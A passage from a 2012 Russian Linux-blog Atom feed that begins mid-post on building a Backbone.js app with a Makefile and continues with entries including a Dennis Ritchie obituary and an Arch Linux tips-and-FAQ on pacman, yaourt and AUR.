<p>Что у нас новенького? Ну, убираем имя директории, ссылаясь на переменную <a class="reference external" href="http://www.gnu.org/software/make/manual/make.html#Substitution-Refs">с
заменой</a> (аналогично тому <tt class="docutils literal">$(patsubst <span class="pre">...)</span></tt>, что мы использовали
раньше). Вроде всë, создали директорию, авк прочитал файл, изменил, мы его
направили в нашу цель (<tt class="docutils literal">$@ == build/index.html</tt>). Красота.</p>
<p>Теперь <tt class="docutils literal">make</tt> при запуске сначала скомпилирует наш кофескрипт (если надо), а
потом <tt class="docutils literal">index.html</tt>. Ура.</p>
</div>
<div class="section" id="id12">
<h3>Публичная версия</h3>
<p>А теперь надо собрать версию для сайта - один джаваскриптовый файл. Отлично:</p>
<div class="highlight"><pre><span class="nf">prod</span><span class="o">:</span> <span class="m">all prod/app.js prod/index.html</span>

<span class="nf">prod/index.html</span><span class="o">:</span> <span class="m">index.html</span>
    @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    <span class="nv">DEPS</span><span class="o">=</span><span class="s2">"app.js"</span> awk -f build.awk <span class="nv">$&lt;</span> &gt; <span class="nv">$@</span>

<span class="nf">prod/app.js</span><span class="o">:</span> <span class="m">$(SOURCE:build/%=prod/%)</span>
    @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    cat <span class="nv">$^</span> | uglifyjs &gt; <span class="nv">$@</span>
</pre></div>
<p>Теперь <tt class="docutils literal">make prod</tt> возьмëт все зависимости <tt class="docutils literal">prod/app.js</tt> (вспомните,
<tt class="docutils literal">$^</tt> - это все зависимости правила) и минифицирует их в нужный нам файлик. И
скомпилирует еще <tt class="docutils literal">index.html</tt>.</p>
<p>Надо сказать, что меня эти замены директорий в переменных серьëзно раздражают,
поэтому мы сейчас этот момент зачистим. Итак, результат трудов вместе с
зачисткой:</p>
<div class="highlight"><pre><span class="nv">SOURCE</span> <span class="o">=</span> <span class="k">$(</span>patsubst app/%.coffee, %.js, <span class="k">$(</span>wildcard app/*.coffee<span class="k">))</span>

all: <span class="k">$(</span>addprefix build/, <span class="k">$(</span>SOURCE<span class="k">)</span> index.html<span class="k">)</span>

build/%.js: app/%.coffee
    @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    coffee -pc <span class="nv">$&lt;</span> &gt; <span class="nv">$@</span>

build/index.html: index.html <span class="k">$(</span>addprefix build/, <span class="k">$(</span>SOURCE<span class="k">))</span>
    @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    <span class="nv">DEPS</span><span class="o">=</span><span class="s2">"$(SOURCE:build/%=%)"</span> awk -f build.awk <span class="nv">$&lt;</span> &gt; <span class="nv">$@</span>

prod: all <span class="k">$(</span>addprefix prod/, app.js index.html<span class="k">)</span>

prod/index.html: index.html
    @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    <span class="nv">DEPS</span><span class="o">=</span><span class="s2">"app.js"</span> awk -f build.awk <span class="nv">$&lt;</span> &gt; <span class="nv">$@</span>

prod/app.js: <span class="k">$(</span>addprefix prod/, <span class="k">$(</span>SOURCE<span class="k">))</span>
    @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    cat <span class="nv">$^</span> | uglifyjs &gt; <span class="nv">$@</span>
</pre></div>
</div>
<div class="section" id="id13">
<h3>Может, еще немножко?</h3>
<p>Вот такой отличный мейкфайл. А теперь добавим сюда темплейты! Они лежат в
директории <tt class="docutils literal">app/templates</tt> и имеют расширение <tt class="docutils literal">.eco</tt>, а результаты будут
иметь расширение <tt class="docutils literal">.eco.js</tt> (чтоб отличать от просто <tt class="docutils literal">.js</tt>).</p>
<div class="highlight"><pre><span class="nv">TEMPLATES</span> <span class="o">=</span> <span class="k">$(</span>patsubst app/%, %.js, <span class="k">$(</span>wildcard app/templates/*.eco<span class="k">))</span>

all: <span class="k">$(</span>addprefix build/, <span class="k">$(</span>TEMPLATES<span class="k">)</span> <span class="k">$(</span>SOURCE<span class="k">)</span> index.html<span class="k">)</span>

build/templates/%.js: app/templates/%
        @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    ./eco.js <span class="nv">$&lt;</span> <span class="k">$(</span>&lt;:app/%<span class="o">=</span>%<span class="k">)</span> &gt; <span class="nv">$@</span>

prod/app.js: <span class="k">$(</span>addprefix prod/, <span class="k">$(</span>TEMPLATES<span class="k">)</span> <span class="k">$(</span>SOURCE<span class="k">))</span>
    @mkdir -p <span class="k">$(</span>@D<span class="k">)</span>
    cat <span class="nv">$^</span> | uglifyjs &gt; <span class="nv">$@</span>
</pre></div>
<p>Здесь <tt class="docutils literal">./eco.js</tt> - самописный скрипт для вызова компиляции эко-темплейтов,
который применяет к результату нужную мне обëртку. Первым параметром у него путь
к файлу, а вторым - имя, под которым темплейт будет известен
(<tt class="docutils literal">templates/something.eco</tt>). Темплейты будут сминифицированы в один файл с
приложением.</p>
</div>
<div class="section" id="id14">
<h3>Важные моменты</h3>
<p>У меня важен порядок файлов джаваскриптовых, поэтому я просто задаю их руками:</p>
<div class="highlight"><pre><span class="nv">SOURCE</span> <span class="o">=</span> <span class="k">$(</span>patsubst %,%.js,util api models viewing browsing showkr<span class="k">)</span>
</pre></div>
<p>А выше показан вариант относительно того, когда устраивает сортировка по
алфавиту.</p>
<p>Функция <tt class="docutils literal">wildcard</tt> не умеет рекурсивно находить файлы, поэтому если есть
поддиректории в структуре, то я использую <tt class="docutils literal">$(shell find <span class="pre">...)</span></tt> - обычный
<tt class="docutils literal">find</tt>.</p>
<p>Ну вот и всë, надеюсь, что какие-то базовые основы я рассказал понятно, а полный
код <a class="reference external" href="https://github.com/piranha/showkr/blob/e8c4d838e0ee6c6dbf99e161b06e6e453a6e3793/Makefile">Makefile</a>'а (ссылка стоит на ту версию, которая существовала на момент
написания статьи) можно найти в <a class="reference external" href="http://github.com/piranha/showkr/">репозитории</a>.</p>
</div>
</div>
<div class="section" id="id16">
<h2>Архитектура</h2>
<p>Вернëмся к собственно самому приложению. Оно построено на <a class="reference external" href="http://backbonejs.org/">backbone.js</a>,
который сейчас самая модная библиотека для мвц на джаваскрипте, наверное. Бэкбон
стоит того - он не пытается скрыть детали имплементации (как эмбер, например -
его я тоже пробовал), но организует всë отлично.</p>
<div class="section" id="id17">
<h3>Ядро</h3>
<p>Центральная часть приложения - <a class="reference external" href="http://backbonejs.org/#Router">Router</a> <tt class="docutils literal">Showkr</tt>. С его инициализацией
запускается приложение.</p>
<p>Основная функция, помимо роутинга (вызова нужной функции по адресу в хеше), -
управление вьюхами. Роутер умеет создавать <a class="reference external" href="http://backbonejs.org/#View">View</a> по уникальному идентификатору
и переключаться между уже созданными. Раз созданные, вьюхи не уничтожаются, чтоб
второй раз за сессию не ждать от фликра одних и тех же данных.</p>
</div>
<div class="section" id="id18">
<h3>Остальное</h3>
<p>А дальше всë банально - вьюхи инициализируют модели и внутренние вьюхи, модели
качают данные с фликра (используя переопределëнные методы <tt class="docutils literal">sync</tt> и
<tt class="docutils literal">parse</tt>).</p>
<p>У большинства моделей есть какая-нибудь вложенная коллекция, поэтому получилась
иерархия <tt class="docutils literal">User <span class="pre">-&gt;</span> SetList <span class="pre">-&gt;</span> Set <span class="pre">-&gt;</span> PhotoList <span class="pre">-&gt;</span> Photo <span class="pre">-&gt;</span> CommentList <span class="pre">-&gt;</span>
Comment</tt>. Вложенные коллекции инициализируются в инициализации модели,
<tt class="docutils literal">fetch</tt> запускается там, где это имеет больше смысла - фотки качаются сразу
после того, как скачался сет, а комментарии - после того, как отрисовалась
фотография.</p>
<p>Честно говоря, писать подробный туториал по бэкбону желания особенного нет - их
уже много. Так что, если интересно, то стоит пойти посмотреть на <a class="reference external" href="https://github.com/piranha/showkr">исходники</a>.</p>
</div>
</div>
<div class="section" id="id20">
<h2>Эпилог</h2>
<p>У меня были мысли приделать поддержку Пикасы еще, но немного лениво - я сам ею
не пользуюсь, а работы хватает, привести два довольно разных апи к общему
знаменателю... Ну и это не тема этой статьи (хотя если кому-то хочется, патчи я
с радостью принимаю).</p>
<p>Я хотел сказать, что если вдруг остались или возникли вопросы, пишите мне - я
либо отвечу там, либо дополню статью. Надеюсь, что она была полезна.</p>
</div>
<img height="1" src="http://feeds.feedburner.com/~r/AmazonByteflow/~4/UQbBQ3jvj3Y" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/UQbBQ3jvj3Y" height="1" width="1" /></div></content>
    <updated>2012-01-13T00:00:00Z</updated>
    <published>2012-01-13T00:00:00Z</published>
    <category term="javascript" />
    <category term="programming" />
    <category term="project" />
    <category term="showkr" />
    <author>
      <name>Alexander Solovyov</name>
    </author>
    <source>
      <id>http://solovyov.net/</id>
      <author>
        <name>Alexander Solovyov</name>
      </author>
      <link href="http://solovyov.net/" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/AmazonByteflow" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <title>solovyov.net</title>
      <updated>2012-01-16T19:48:50Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://lushpai.org/?p=818</id>
    <link href="http://lushpai.org/archives/818" rel="alternate" type="text/html" />
    <title>Windows, Linux, VirtualBox. Немного об извращениях.</title>
    <summary type="html">Почему извращаемся с Windows? Давайте представим себе некоторую абстрактную ситуацию, в которой заядлому линуксоиду приходится, в следствие должностных обязанностей, плотно засесть под Windows. При этом, часть его работы подразумевает ряд операций, которые, если не Linux-only, то в нем, родимом, выполняются куда как сподручнее. При этом, основную часть времени ему все таки придется проводить в Windows, [...]&lt;img src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/dgDbQzZM150" height="1" width="1"/&gt;</summary>
    <updated>2012-01-12T11:31:29Z</updated>
    <category term="howto" />
    <category term="linux" />
    <category term="windows" />
    <category term="виртуализация" />
    <category term="оффтоп" />
    <author>
      <name>gwinn</name>
    </author>
    <source>
      <id>http://lushpai.org</id>
      <link href="http://lushpai.org/feed?tag=linux" rel="self" type="application/atom+xml" />
      <link href="http://lushpai.org" rel="alternate" type="text/html" />
      <subtitle>Блог свободного программиста</subtitle>
      <title>Free Runner » linux</title>
      <updated>2012-01-12T18:01:09Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://lushpai.org/?p=787</id>
    <link href="http://lushpai.org/archives/787" rel="alternate" type="text/html" />
    <title>Деннис Ритчи. Не стало еще одного IT пионера.</title>
    <summary type="html">8 октября в возрасте 70 лет скончался один из отцов основателей того мира, без которого мы уже не мыслим свое существование. Репост записи, которую сделал Роб Пайк, я увидел только сегодня. Деннис Ритчи — один из авторов языка Си и один из ключевых разработчиков операционной системы Unix. Он внес неоценимый вклад в то, без чего [...]&lt;img src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/k5JvfM-JAq0" height="1" width="1"/&gt;</summary>
    <updated>2012-01-12T11:31:29Z</updated>
    <category term="post" />
    <category term="dennis ritche" />
    <category term="linux" />
    <category term="rip" />
    <category term="unix" />
    <author>
      <name>gwinn</name>
    </author>
    <source>
      <id>http://lushpai.org</id>
      <link href="http://lushpai.org/feed?tag=linux" rel="self" type="application/atom+xml" />
      <link href="http://lushpai.org" rel="alternate" type="text/html" />
      <subtitle>Блог свободного программиста</subtitle>
      <title>Free Runner » linux</title>
      <updated>2012-01-12T18:01:09Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-6981243361715053957.post-5014475057505960289</id>
    <link href="http://surrender-zen-way.blogspot.com/feeds/5014475057505960289/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://surrender-zen-way.blogspot.com/2012/01/on-line-mplayer.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/6981243361715053957/posts/default/5014475057505960289" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/6981243361715053957/posts/default/5014475057505960289" rel="self" type="application/atom+xml" />
    <link href="http://surrender-zen-way.blogspot.com/2012/01/on-line-mplayer.html" rel="alternate" type="text/html" />
    <title>Смотрим фильмы on-line с помойщью mplayer</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Некотрые on-line файлохранилища, например ex.ua, fs.ua позволяют получить прямую ссылку для скачивания.<br /><br /><a href="http://surrender-zen-way.blogspot.com/2012/01/on-line-mplayer.html#more">Читать&gt;&gt;</a><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/6981243361715053957-5014475057505960289?l=surrender-zen-way.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/DI79mZovRog" height="1" width="1" /></div></content>
    <updated>2012-01-05T21:26:00Z</updated>
    <published>2012-01-05T21:26:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="софт/сервисы" />
    <category scheme="http://www.blogger.com/atom/ns#" term="linux" />
    <category scheme="http://www.blogger.com/atom/ns#" term="mplayer" />
    <category scheme="http://www.blogger.com/atom/ns#" term="настройка" />
    <author>
      <name>Михаил Кулигин</name>
      <email>noreply@blogger.com</email>
      <uri>https://profiles.google.com/113773006825242654588</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-6981243361715053957</id>
      <category term="linux" />
      <category term="gnuplot" />
      <category term="demoscene" />
      <category term="текст" />
      <category term="LibreOffice" />
      <category term="игры" />
      <category term="VirtualBox" />
      <category term="дзен" />
      <category term="OpenOffice" />
      <category term="google-chrome" />
      <category term="спорт" />
      <category term="юмор" />
      <category term="mplayer" />
      <category term="веды" />
      <category term="скрипт" />
      <category term="консоль" />
      <category term="Firefox" />
      <category term="nokia" />
      <category term="Scribus" />
      <category term="эзотерика" />
      <category term="софт/сервисы" />
      <category term="книги" />
      <category term="антивирус" />
      <category term="gimp" />
      <category term="windows" />
      <category term="вирусы" />
      <category term="network" />
      <category term="Broadcom" />
      <category term="саморазвитие" />
      <category term="Ubuntu" />
      <category term="сеть" />
      <category term="turboprint" />
      <category term="настройка" />
      <category term="hardware" />
      <category term="unity" />
      <category term="screencast" />
      <category term="жизнь" />
      <author>
        <name>Михаил Кулигин</name>
        <email>noreply@blogger.com</email>
        <uri>https://profiles.google.com/113773006825242654588</uri>
      </author>
      <link href="http://surrender-zen-way.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/6981243361715053957/posts/default/-/linux" rel="self" type="application/atom+xml" />
      <link href="http://surrender-zen-way.blogspot.com/search/label/linux" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <link href="http://www.blogger.com/feeds/6981243361715053957/posts/default/-/linux/-/linux?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <subtitle>...у вселенной не было начала и не будет конца...</subtitle>
      <title>Linux &amp; Life</title>
      <updated>2012-02-08T19:17:15Z</updated>
    </source>
  </entry>

  <entry xml:lang="ru">
    <id>http://muhas.ru/?p=189</id>
    <link href="http://muhas.ru/?p=189" rel="alternate" type="text/html" />
    <title>Арчеёлка уже рядом!</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Пусть Новый год, что ожидаем уже мы через пару дней
<br />
Твой линукс сделает комфортней и для тебя и для друзей.<h2 style="color: #1793d1; text-align: center;">С наступающим!!!</h2><span style="display: block; text-align: center;"><a href="http://muhas.ru/files/img/archlogo-newyear12.jpg" rel="iload|Арчеёлка уже рядом!" title="С наступающим новым годом!"><img alt="С наступающим новым годом!" src="http://muhas.ru/files/img/archlogo-newyear12.jpg" /></a></span>
<br />
Кажется, письмецо моё прошлогоднее дедушка Мороз вскользь посмотрел и частично исполнил в проходящем году некоторые просьбы, за что ему нижайший поклон. 
<br />
Дедушка Мороз, спасибо тебе, теперь я знаю что ты есть!<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/K5t3rnZyCjE" height="1" width="1" /></div></summary>
    <updated>2011-12-28T14:01:36Z</updated>
    <category term="новый год" />
    <category term="arch" />
    <category term="linux" />
    <category term="blog" />
    <source>
      <id>http://muhas.ru</id>
      <logo>http://muhas.ru/img/logosmall.png</logo>
      <link href="http://muhas.ru" rel="alternate" type="text/html" />
      <link href="http://muhas.ru/rss/?tags=linux" rel="self" type="application/rss+xml" />
      <title>muhas — Заметки аскетичного гика</title>
      <updated>2012-02-09T14:01:25Z</updated>
    </source>
  </entry>

  <entry xml:lang="ru">
    <id>http://muhas.ru/?p=188</id>
    <link href="http://muhas.ru/?p=188" rel="alternate" type="text/html" />
    <title>Arch Tips &amp; FAQ</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><a href="http://muhas.ru/files/arch/archtips.png" rel="iload|arch tips &amp; faq " style="display: block; float: right;" title="ArchLinux tips &amp; faq"><img align="right" alt="ArchLinux tips &amp; faq" src="http://muhas.ru/imgrs.php?http://muhas.ru/files/arch/archtips.png" /></a>Хотелось собрать ответы на некоторые вопросы и кое-какие арчеспецифичные советы для новоиспеченных пользователей ArchLinux в одном месте, дабы давать им эту ссылку сразу после того как они бегло просмотрели арчевики (и почему они её не читают?). 
<br />

<br />
В итоге получился такой небольшой <b>ArchTips</b> с элементами FAQ, с преферансом и поэтессами. Надеюсь что для себя здесь найдет что-то полезное не только новичок в арче...
<br />

<br />
Естественно, что бы не повторятся я старался не касался вопросов из <a href="https://wiki.archlinux.org/index.php/FAQ_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29">Arch FAQ c арчевики</a>, но постарался сдобрить свои графоманские замашки ссылками на арчевики, зачастую специально не договаривая дабы дать лишний повод её почитать. Поверьте, оно того стоит... 
<br />

<br />
&lt;cut text="Итак, начинаем ArchTips"&gt;&lt;/cut&gt;<h2>Маленький Arch Tips</h2><b>Что такое AUR?</b>
<br />
AUR — Arch User Repository, <a href="http://aur.archlinux.org">пользовательский репозитарий Arch</a>. Место где хранится уйма пользовательских <em>PKGBUILD</em>'ов — файлов описания для сборки пакета из исходников с помощью программы <em>makepkg</em> являющуюся частью <em>pacman</em>.
<br />
Естественно что для установки из исходников понадобится компилятор и прочие вещи для разработчиков, в ArchLinux базовая их часть находится в группе пакетов <em>base-devel</em>. Группы пакетов устанавливаются так же как и один пакет <pre><code>pacman -S base-devel</code></pre> Не буду расписываться о подробностях, коих вполне навалом <a href="https://wiki.archlinux.org/index.php/Arch_User_Repository_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29">тут</a> (бывшим гентушникам настоятельно рекомендую обратить внимание на строки и ссылки про <em>makepkg.conf</em>)
<br />

<br />
<b>Установка из AUR</b>
<br />
1. Скачать PKGBUILD и другие требуемые файлы (install файл, патчи, etc). Все они содержатся в архиве, доступном по соответствующей ссылке «Архив» («Tarball» в англоязычной версии AUR’а);
<br />
2. Перейти в директорию, содержащую PKGBUILD и выполнить makepkg (команда «makepkg -s» установит и зависимости, если они не в AUR);
<br />
3. Установить получившийся пакет с помощью pacman: <pre><code>pacman -U /path/to/pkg.tar.gz</code></pre>
<br />
Или воспользуемся какой-нибудь утилитой для упрощения сего дела. Правда такие утилиты никогда не попадут в официальный репозитарий арча по уйме причин, но их можно всегда найти в AUR. Ниже немного об одной из самых популярных утилит такого плана.
<br />

<br />
<b>Установка yaourt</b>
<br />
Многие арчеводы просто не представляют себе жизни без <em>yaourt</em> — консольной оболочке для пакетного менеджера <em>pacman</em> и пользовательского репозитария AUR. 
<br />
Помимо того что он есть в AUR (<a href="http://aur.archlinux.org/packages.php?ID=5863">PKGBUILD</a>), его можно поставить из французского репозитария всего лишь добавив в <em>/etc/pacman.conf</em> строки<pre><code>[archlinuxfr]
Server = http://repo.archlinux.fr/i686</code></pre>и обновив список пакетов (<em>pacman -Sy</em>) установить как <pre><code>pacman -S yaourt</code></pre>Работает <em>yaourt</em> аналогично пакману за исключением того что ищет и может устанавливать пакеты не только из репозитория но и из AUR, ну и имеет дополнительные возможности узнать о которых можно в мане или в какой-нить статье в сети с его описанием...
<br />
Есть схожие по функционалу проекты — <em>clyde, paktahn, packer</em> (о последнем я писал <a href="http://muhas.ru/?p=177">packer — облегчаем установку пакетов</a>, да и на paktahn <a href="http://muhas.ru/?t=paktahn">обращал свой взор</a>)
<br />

<br />
<b>Дополнительный репозитарии</b>
<br />
В сети уйма дополнительных репозитариев, не забываем что после того как вы добавили какой-нибудь из них в <em>pacman.conf</em> необходимо обновить список пакетов в нем с помощью <em>pacman -Sy</em>
<br />
Учтите что не все из них живые или в них рабочий софт, хотя это относится не только к арчу...
<br />

<br />
<b>Репозитарии <em>testing</em> и <em>unstable</em></b>
<br />
Как следует из названия в нем расположены тестовые пакеты которые по тем или иным причинам ещё не удостоились звания «стабильный» (пользователи debian stable могут тут поехидничать).
<br />
Если у вас есть желание поставить что-либо из тестинга, но нет желания полностью его использовать, то можно добавить его в самый конец <em>pacman.conf</em>. Благодаря тому что приоритеты репозитарии имеют тупо по очереди, то все обновления будут идти из core/extra/community, а из testing можно будет поставить отдельный пакет с помощью <pre><code>pacman -S testing/имя_пакета</code></pre>
<br />
Так же существуют <em>gnome-unstable</em> и <em>kde-unstable</em>, 
<br />

<br />
<b>ArchLinux x86_64 и multilib</b>
<br />
Не секрет, <strike>что друзья не растут в огороде</strike> что некоторых приложений под x86_64 просто-напросто не существует. Но есть возможность устанавливать 32-х битные приложения в окружении x86_64. В ArchLinux для этого существует репозитарий <em>multilib</em> с годными <em>skype</em>, <em>flashplugin</em>, <em>wine</em> и прочим... 
<br />
Так что не забываем разкомментировать этот репозиторий в <em>/etc/pacman.conf</em>
<br />
У multilib так же есть свой тестинг <em>multilib-testing</em>.
<br />

<br />
<b>Пропуск обновления пакетов</b>
<br />
<a href="https://wiki.archlinux.org/index.php/Pacman_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29#.D0.9F.D1.80.D0.BE.D0.BF.D1.83.D1.81.D0.BA_.D0.BE.D0.B1.D0.BD.D0.BE.D0.B2.D0.BB.D0.B5.D0.BD.D0.B8.D1.8F_.D0.BF.D0.B0.D0.BA.D0.B5.D1.82.D0.BE.D0.B2">Тынц</a>. Кстати, там же в pacman.conf есть опция <em>CleanMethod = KeepCurrent</em> позволяющая отчищать в кэше устаревшие пакеты дабы этот самый кэш постоянно не рос после обновления, и опция <em>XferCommand</em> позволяющая сменить загрузчик пакетов из сети....
<br />

<br />
<b>Собственный репозиторий</b>
<br />
В арчевики есть статья <a href="https://wiki.archlinux.org/index.php/Custom_Local_Repository_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29">Custom Local Repository</a>, в которой все достаточно хорошо описано. От себя добавлю — если у вас уйма старых и новых версий пакетов в одном каталоге (к примеру, из кэша <em>/var/cache/pacman/pkg/</em>), то удалить старье можно с помощью утилиты <b>repo-clean</b> (В AUR'е пакет <a href="https://aur.archlinux.org/packages.php?ID=36103">repo-clean-xz</a>)
<br />

<br />
<b>После обновление всё сломалось — что делать?</b>
<br />
Если у вас всё сломалось то с вероятностью в 90% вы <acronym title="Сами себе злобные буратины">ССЗБ</acronym> ибо не читаете арченовости и арчевики, используете тестинг, накосячили в настроках или ещё где... В остальных же случаях спасают обновление/пересборка/downgrading нужного пакета. Бывает что-то отваливается по причине того что сама программа теперь работает абсолютно по другому и разработчики это не учли, но такие случаи редки, хотя в своем большинстве вы этого просто не заметите...
<br />

<br />
<b>Downgrading пакетов</b>
<br />
Тут уж либо пересборкой из <a href="https://wiki.archlinux.org/index.php/Arch_Build_System_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)">ABS</a> или иным способом, либо использовать старые репозитарий (статус многих зеркал можно посмотреть <a href="https://www.archlinux.de/?page=MirrorStatus">тут</a>). Но есть у ArchLinux и машина времени — <a href="http://arm.konnichi.com/search/">Arch Rollback Machine</a>, где можно найти старые пакеты.
<br />
И не забываем что те пакеты которые у вас уже устанавливались из репозитариев остаются лежат в <em>/var/cache/pacman/pkg/</em>, и повторно их можно установить как <pre><code>pacman -U /var/cache/pacman/pkg/имя_файла</code></pre>. 
<br />
Так же в AUR имеются програмки для отката версии пакета, к примеру, <a href="http://aur.archlinux.org/packages.php?ID=50246">downgrader</a> и <a href="https://aur.archlinux.org/packages.php?ID=31937">downgrade</a>
<br />

<br />
<b>Обновление конфигов при обновлении пакетов</b>
<br />
В Arch довольно-таки простой пакетный менеджер который не сравнивает текущий и новый конфиг в пакете, а просто при необходимости создает конфиг с припиской .pacsave или .pacnew, который пользователю предстоит сравнить <strike>руками</strike> визуально и при необходимости внести соответствующие изменения. Для упрощения сего дела существует утилита <em>dotpac</em> показывающая в интерактивном режиме разницу между созданными при обновлении конфигов с текущими и предложит внести изменения. Есть и <em>pacdiff</em> работающий схоже и входящий в состав <em>pacman-contrib</em>
<br />

<br />
<b>Ускоряем менеджер пакетов</b>
<br />
Кончено те кто пришли из дистрибутивов с пакетами основанными на deb/rpm могут считать пакман быстрым, однако когда-то давно он был ещё быстрее. Есть несколько методов ускорить его, причем использовать их можно совмесно.
<br />
<ol><li>Загрузка пакетов в несколько потоков — для этого используется просто другой менеджер загрузок, к примеру aria2c, но что бы загружать сразу несколько пакетов а не по очереди все же лучше использовать враппер над pacman. К примеру, <a href="http://xyne.archlinux.ca/manpages/powerpill">powerpill</a>, который использует помянутый выше <em>bauerbill</em>.</li><li>Сортировка зеркал с помощью <a href="https://wiki.archlinux.org/index.php/Mirrors#Sorting_mirrors">rankmirrors</a> (там же написано о утилите <em>reflector</em>, позволяющей сортировать зеркала по статусу)</li><li>Экономия трафика в виде использования <a href="http://muhas.ru/?p=138">delta обновлений</a> которые поддерживает ArchLinux, но лично я нашел только одно зеркало его использующее</li></ol>
<br />
Было ещё пару методов, но с <a href="http://muhas.ru/?p=175">выходом <em>pacman 3.5</em></a> они устарели ибо теперь это делает сам pacman — к примеру он изменил формат базы данных, и замедления из-за большого количества мелких файлов и фрагментации практически сошло на нет, хотя <a href="http://muhas.ru/?p=154">pacman-cage</a> всё ещё в некоторых моментах ускоряет — к примеру, список установленных пакетов всё ещё горой файлов и каталогов), да и вообще пакман хорош =)
<br />

<br />

<br />
<b>Информация о железе</b>
<br />
<pre><code>pacman -S hwdetect</code></pre> (в AUR имеется гуй <em>qhwdetect</em>)
<br />
Это специфичная для ArchLinux консольная утилита с огромным количеством опций — начиная от просмотра модулей ядра для устройств и заканчивая возможностью автоматического изменения <em>rc.conf</em> и <em>mkinitcpio.conf</em>
<br />
Ну и так же как в других дистрибутивах <em>lshw/hwinfo/lspci/lsusb/etc</em>
<br />

<br />
<b>Железные мелочи</b>
<br />
Для отключение спикера нужно добавить строки вида <em>blacklist имя_модуля</em> (в данном случае два модуля <em>snd_pcsp</em> <em>pcspkr</em>)  в <em>/etc/modprobe.d/filename.conf</em>. Подробности о отключении модулей ядра как всегда <a href="https://wiki.archlinux.org/index.php/Blacklisting">описано в archwiki</a>
<br />
Включаем <a href="http://muhas.ru/?p=45">numlock при старте системы</a>
<br />

<br />
<b>Лог загрузки</b>
<br />
По-умолчанию при выводе login с экрана стирается вся предыдущая информация и всё что было при загрузке на tty1 теряется. Избавится от этого при желании можно поправив файл <em>/etc/issue</em> удалив в нем первую строку — она там есть, и если вы её не видите то ваш редактор просто не осиливает escape-последовательности и должен быть предан анафеме (мой joe показывает их как ^[[H^[[2J). Ну и о существовании <em>dmesg</em> не забываем...
<br />

<br />
<b>Особенности управление сетью</b>
<br />
ArchLinux имеет в своем арсенале весьма интересную утилиту для управления сетевыми подключениями с использованием профилей. Имя сему чуду <b>netcfg</b>. 
<br />
Всеобъемлющие её описание займет не один экран букв, посему <a href="https://wiki.archlinux.org/index.php/Netcfg_%28%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9%29">отсылаю в уже написанное</a>. От себя скажу — в некоторых случаях netcfg использовать удобнее чем nm или wicd.
<br />

<br />
<b>Some yaourt/pacman tips</b>
<br />
Переустановить все пакеты из репозиториев: <em>pacman -S $(pacman -Qq | grep -v "$(pacman -Qmq)")</em>
<br />
Дабы сделать аналогичное для пакетов отсутствующих в репах можно использовать <em>yaourt -S `pacman -Qmq`</em>
<br />
Обновить все установленные пакеты из git/hg/svn/etc <em>yaourt --sucre</em>
<br />
Удаление <em>неустановленных пакетов</em> из кэша <em>pacman -Sc</em>
<br />
Удаление <em>всех пакетов</em> из кэша <em>pacman -Scc</em>
<br />
Так же последние две команды удаляют и неиспользуемые репозитарии...
<br />
Удалить пакет со всеми зависимостями <em>pacman -Rs имя_пакета</em>
<br />
Удалить пакет со всеми зависимостями и с тем что зависит от него <em>pacman -Rsc имя_пакета</em>
<br />
Установить/Удалить пакет не смотря на зависимости (одно <b>d</b> пропускает только проверку версии зависимостей) <em>pacman -Sdd/pacman -Rdd</em>
<br />
Сохранение списка пакетов для последующей установки <pre><code>pacman -Qq &gt; filename # сохраняем в файл
#что бы сохранить только из репозитариев можно искользовать строку ниже
#comm -13 &lt;(pacman -Qmq | sort) &lt;(pacman -Qqe | sort)
pacman -S `cat filename` # устанавливаем из списка, естественно что пакман будет ругаться если в списке есть пакеты не из реп</code></pre>
<br />
По-умолнанию yaourt не обновляет пакеты из AUR, для того что бы он это делал надо добавить в его конфиг строку вида <em>AlwaysUpgradeAur yes</em>, ну или вручную постоянно добавлять параметр <em>--aur</em>
<br />
